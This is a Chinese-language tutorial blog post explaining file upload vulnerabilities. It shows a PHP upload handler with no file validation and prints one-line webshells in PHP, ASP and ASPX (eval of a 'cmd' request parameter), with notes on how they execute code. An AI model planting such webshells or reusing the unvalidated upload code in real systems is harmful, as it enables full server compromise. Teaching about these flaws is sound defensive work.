文件上传漏洞概述

文件上传

文件上传是现代互联网常见的功能,允许用户上传图片、视频、及其他类型文件,向用户提供的功能越多,Web受攻击的风险就越大。在使用html向数据库提交数据的时候,对数据有三种编码方式:

  1. application/x-www-form-urlencoded:默认。在发送前对所有字符进行编码(将空格转换为"+"符号,特殊字符转换为ASCll HEX值)。
  2. multipart/form-data:不对字符编码。当使用有文件上传控件的表单时,该值是必需的。
  3. text/plain:将空格转换为"+”符号,但不编码特殊字符。

详细解释:
application/x-www-form-urlencoded:
表单中的enctype值如果不设置,默认是此值,将表单中的数据变为键值对的形式如果method为get,则将表单中的数据转换成一个字符串
(name1=value1&name2=value2),然后把这个字符串附加到URL后面,并用?分割如果method为post,浏览器把form数据封装到http body中,然后发送到服务器。
multipart/form-data:
专门用来传输特殊类型数据的,比如文件,会将表单中的数据变成二进制数据,这时候如果用request是无法获取到相应表单的值,应通过stream流对象,将传到服务器端的二进制数据解码,从而读取数据。
text/plain:
表单以纯文本形式进行编码。

文件上传核心代码

<?php
if(isset($_POST[ 'submit'])){        #这里使用post的方式检查是否有输入
$tmpPath=$_FILES['file' ][ 'tmp_name ' ]; #使用$files获取文件信息,然后存储在$file变量中
$path="./upload/".$_FILES['file'][ 'name ' ];  #存放文件的真正名字,前面附加路径名
    if(move_uploaded_file($tmpPath,$path)){ #函数作用是移动文件,前者移动到后者
        echo $path; #如果成功,那就打印出移动到那个目录下
    }else{     #否则打印失败
        echo "上传失败,请<a href='up.html'>返回首页</a>重新上传!";}
    }else{
        echo "您未点击提交按钮,请<a href='up.html '>返回首页</a>重新上传!";
    }
?>  

文件上传漏洞

上传文件时,如果未对上传的文件进行严格的验证和过滤,就容易造成文件上传漏洞,上传脚本文件(包括asp.aspx、 php.jsp等)
恶意上传行为可能导致网站甚至整个服务器被控制。恶意的脚本文件又被称为WebShell,WebShell具有强大的功能,如查看服务器目录、服务器中文件、执行系统命令等。
形成原因:
文件上传漏洞的成因(复杂),一方面,Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;另一方面,程序开发部署时候,没有考虑到系统特性和过滤不严格;再者就是,攻击者通过Web服务器解析漏洞绕过限制,导致可以上传任意文件。

文件上传漏洞危害

  1. 文件上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、可执行程序等。
  2. 如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
  3. 如果攻击者通过其他漏洞进行提权操纵,拿到系统管理权限,那么直接导致服务器沦陷。
  4. 同服务器下的其他网站无一幸免,均会被攻击者控制。

漏洞上传条件:

  1. Web 服务器要开启文件上传功能,并且上传api(接口)对外“开放’(Web 用户可以访问);
  2. Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下Web目录都有执行权限。
  3. 要想利用文件上传漏洞,就是上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。

小马

小马也叫一句话木马,因为代码量比较小,就是一句简单代码。可以通过get、post,或者cookie进行信息提交,例如:
PHP: <?php @eval($_REQUEST['cmd']);?> //request获得客户端提交的信息,名字是cmd,使用@是用于不进行报错,eval是将收到的信息当作php代码进行处理。
ASP: <%eval request(“cmd”)%>
ASPX:<%@Page Language=“Jscript”%>
<%eval(Request.Item[ " cmd"],“unsafe”);%>

经典的一句话木马通常有两个部分,一部分是可执行代码的函数部分,一个是接收数据的部分。
例如:< ?php> @eval($_POST[‘cmd’]);?>
eval就是命令执行函数,POST部分负责接收数据。eval函数负责把接收来的数据当作PHP代码来执行。这样就能让插入了一句话木马的网站执行接受我们传递的任何PHP语句了。

大马

之所以叫大马,是因为与小马(一句话木与)区分开,并且代码量比较多,但是功能丰富。同样,大马有很多种脚本格式,其功能基本相同。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小刘不忙!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值